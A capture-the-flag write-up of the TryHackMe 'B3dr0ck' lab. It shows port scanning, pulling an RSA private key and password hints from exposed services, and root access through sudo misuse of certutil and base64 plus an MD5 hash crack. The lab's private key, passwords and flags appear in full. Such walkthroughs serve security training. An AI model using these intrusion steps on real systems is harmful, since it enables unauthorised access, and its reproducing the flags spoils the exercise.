B3dr0ck - THM

Port Scanning

```
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
4040/tcp  open  yo-main syn-ack ttl 63
9009/tcp  open  pichat  syn-ack ttl 63
54321/tcp open  unknown syn-ack ttl 63
```

Connecting to port 9009

Requesting the certificate

Requesting the Key

```
What are you looking for? key
Sounds like you forgot your private key. Let's find it for you..

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwtxiIeyUFWbSlZzJiGvyHpeaTxHskwGbqqpcn9qO6MQ2sKy5
xnNfDbcQ9iKq1RENSwBLObws8hvLS62ElIRcvyPB6Y6kvDGS0bbLTnj7W0OHyta4
qQ45Pyr7cWE3i3m96fEmPvAV4ZuEpO7YS7UHA16Qg4faqmt2TLewBVGSnsjmKzB9
+aoSp3whLu6syFW30b6aXIZNvTOidPOAiq+LgqSU65dSPw3hn1NBCUGo9k4olwMA
HxNYFQKqOEhs4ILnCRYzFPiju0Q9YxuZHdkxWuUd3t+FvuOfzXkkabApb7rBF+GX
WcCatT/d3+Go+ettg3KmCBWI8uFNirSH0m02XQIDAQABAoIBAC5OXOue4tnrI2P2
bFYFAPaQJFVh9wxAN5PpBDXgpFFgP3bgtQ0Z4Z7KwDcdqecUNEp8eWPw+eVXAYqs
Y3M/uSKbBrvP8Ang5fj8LXgqe+EGPUDQofVasfP27OXWqnJ0rdLoQaR3PVvtryna
sH/dNxtv33vCTw5slyJIDIZXCja9MMdcf45ntiQwq/rNr/gFmCXvDnGx/2ubTqS0
mF+oNZ/unLRVxderH0XmlDmoZv3oerMgyGZ/E8+GjsK9M8yrough4KSXRoEmlv/x
6C1mFPF/j2CqS/KY+gvONSGMBWdDU3BqRKR+3GMhhuSK+qC3TcEZmwDzErIYTcM+
g3Q3FekCgYEA7f0dQyyVKSCNFS9pYEBWNEOCr6rcfwx/ENmwit2SHWU8Hi6tnnFW
9DJxfnuFGwoY713Sd9gDz39Gh72hUZux4i5eKfRbhKYyKmyh1mpUL2BpKQu+Lh1t
qiNcM2u0NzVROvMXnB8NKe5/XJr+jreGzT/HN/dPtT199A284zYbZ8cCgYEA0Zux
efCQ8RcLthqETMyM3/nQq9tf83v2HjbGNoj5tNw2Yl9f87CBZBael/nrOgUSAQvD
sKCfILjOikcrrwufasWIx/X5z9Ac9A0cn2/9SvfxzMdmLFG5FJZZz6CyrzUKomNK
LXurs0iDIFn+w6u6B0GLFDVLxE2/qm9A+fFkWLsCgYEA7Er6OO4VE4acTcKLT+PR
M4csRJrS3tpbdzGNFfO01bbkH9ucysoh2cgT489kc1ptM4zmIdO6xNTMBI6Fk2+R
CM+c8u8JxwT0nibJ8QgVmgyRnQ1pwIO7lMgTDYMMphwsEOm4MWyrN0zz69CAmtch
4rxGYw0MeRka66yQNNBOGZUCgYBmcS92J0rPabIBmEgcuMQJGzEPLTJh763D6oVJ
VfyklhPGVFKy6Qrz/dIY+L4sJxo7hKJpirb66ReYoVwKOyX4qv5ErEUhedcMt/PL
QJKMt01oBfQ7qN1J4ImYXjO2Sbge0WQJgq3R+5iKkTFgNGfA8BmnEL0s/cq045bg
EUg3zQKBgBAV1/NDK1lgoPja1sF7MLFhE4jj67zR3jEeJwBuzNrqHt7pOlKSRxzt
5vZT41z69PQSREsLgEzD5A8y6op+BF4ZBQI9DylJsnPcdCzhUCoiFmQw+ei8ocUv
abzErOwpBJVkOo1vcr05U7wA11VdomqlSP3FDtYcOB6GxDV3x4ok
-----END RSA PRIVATE KEY-----
```

Connection TLS after saving the cert and key

```
└─$ openssl s_client -connect rock.thm:54321 -cert client.cert -key client.key
Connecting to 10.10.96.84
CONNECTED(00000003)
depth=0 CN=localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN=localhost
verify return:1
---
```

Trying to find the password

```
This service is for login and password hints
b3dr0ck> passwd
Password hint: d1ad7c0a3805955a35eb260dab4180dd (user = 'Barney Rubble')
```

Using the hint as password

```
barney@b3dr0ck:~$ ls
barney.txt
barney@b3dr0ck:~$ cat barney.txt
THM{f05780f08f0eb1de65023069d0e4c90c}
barney@b3dr0ck:~$ _
```

Checking privileges

```
barney@b3dr0ck:/$ sudo -l
Matching Defaults entries for barney on b3dr0ck:
    insults, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User barney may run the following commands on b3dr0ck:
    (ALL : ALL) /usr/bin/certutil
```

Checking current certs list

```
barney@b3dr0ck:/$ sudo /usr/bin/certutil ls

Current Cert List: (/usr/share/abc/certs)
------------------
total 56
drwxrwxr-x 2 root root 4096 Apr 30  2022 .
drwxrwxr-x 8 root root 4096 Apr 29  2022 ..
-rw-r----- 1 root root  972 Apr 23 15:38 barney.certificate.pem
-rw-r----- 1 root root 1674 Apr 23 15:38 barney.clientKey.pem
-rw-r----- 1 root root  894 Apr 23 15:38 barney.csr.pem
-rw-r----- 1 root root 1678 Apr 23 15:38 barney.serviceKey.pem
-rw-r----- 1 root root  976 Apr 23 15:38 fred.certificate.pem
-rw-r----- 1 root root 1678 Apr 23 15:38 fred.clientKey.pem
-rw-r----- 1 root root  898 Apr 23 15:38 fred.csr.pem
-rw-r----- 1 root root 1678 Apr 23 15:38 fred.serviceKey.pem
```

Getting certificate and key for fred

```
barney@b3dr0ck:/$ sudo certutil -a fred.csr.pem
Generating credentials for user: a (fredcsrpem)
Generated: clientKey for a: /usr/share/abc/certs/a.clientKey.pem
Generated: certificate for a: /usr/share/abc/certs/a.certificate.pem
-----BEGIN RSA PRIVATE KEY-----
```

Connection TLS after saving the cert and key

```
    Max Early Data: 0
---
read R BLOCK
Welcome: 'fredcsrpem' is authorized.
b3dr0ck> _
```

Requesting the password hint

```
pass
Password hint: YabbaDabbaD0000! (user = 'fredcsrpem')
b3dr0ck> _
```

SHH connection as fred

```
└─$ ssh fred@rock.thm
fred@rock.thm's password:
fred@b3dr0ck:~$ _
```

Fred flag

```
fred@b3dr0ck:~$ ls
fred.txt
fred@b3dr0ck:~$ cat fred.txt
THM{08da34e619da839b154521da7323559d}
fred@b3dr0ck:~$ _
```

Checking privileges

```
fred@b3dr0ck:~$ sudo -l
Matching Defaults entries for fred on b3dr0ck:
    insults, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User fred may run the following commands on b3dr0ck:
    (ALL : ALL) NOPASSWD: /usr/bin/base32 /root/pass.txt
    (ALL : ALL) NOPASSWD: /usr/bin/base64 /root/pass.txt
```

Encoding root password to base64

```
fred@b3dr0ck:~$ sudo /usr/bin/base64 /root/pass.txt
TEZLRUM1MlpLUkNYU1dLWElaVlU0M0tKR05NWFVSSlNMRldWUzUyT1BKQVhVVExOSkpWVTJSQ1dO
QkdYVVJUTEpaS0ZTU1lLCg==
fred@b3dr0ck:~$ _
```

Using cyberchef

Input length: 101 lines: 2

```
TEZLRUM1MlpLUkNYU1dLWElaVlU0M0tKR05NWFVSSlNMRldWUzUyT1BKQVhVVExOSkpWVTJSQ1dO
QkdYVVJUTEpaS0ZTU1lLCg==
```

Output time: 0ms length: 73 lines: 2

```
LFKEC52ZKRCXSWKXIZVU43KJGNMXURJSLFWVS52OPJAXUTLNJJVU2RCWNBGXURTLJZKFSSYK
```

Input length: 72 lines: 1

```
LFKEC52ZKRCXSWKXIZVU43KJGNMXURJSLFWVS52OPJAXUTLNJJVU2RCWNBGXURTLJZKFSSYK
```

Output start: 0 end: 32 length: 32 time: 1ms length: 33 lines: 2

```
a00a12aad6b7c16bf07032bd05a31d56
```

Using CrackStation

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```
a00a12aad6b7c16bf07032bd05a31d56
```

Não sou um robô — reCAPTCHA — Privacidade - Termos de Utilização

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
a00a12aad6b7c16bf07032bd05a31d56	md5	flintstonesvitamins

Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.

Root flag

```
fred@b3dr0ck:~$ su -
Password:
root@b3dr0ck:~# ls
pass.txt  root.txt  snap
root@b3dr0ck:~# cat root.txt
THM{de4043c009214b56279982bf10a661b7}
root@b3dr0ck:~# _
```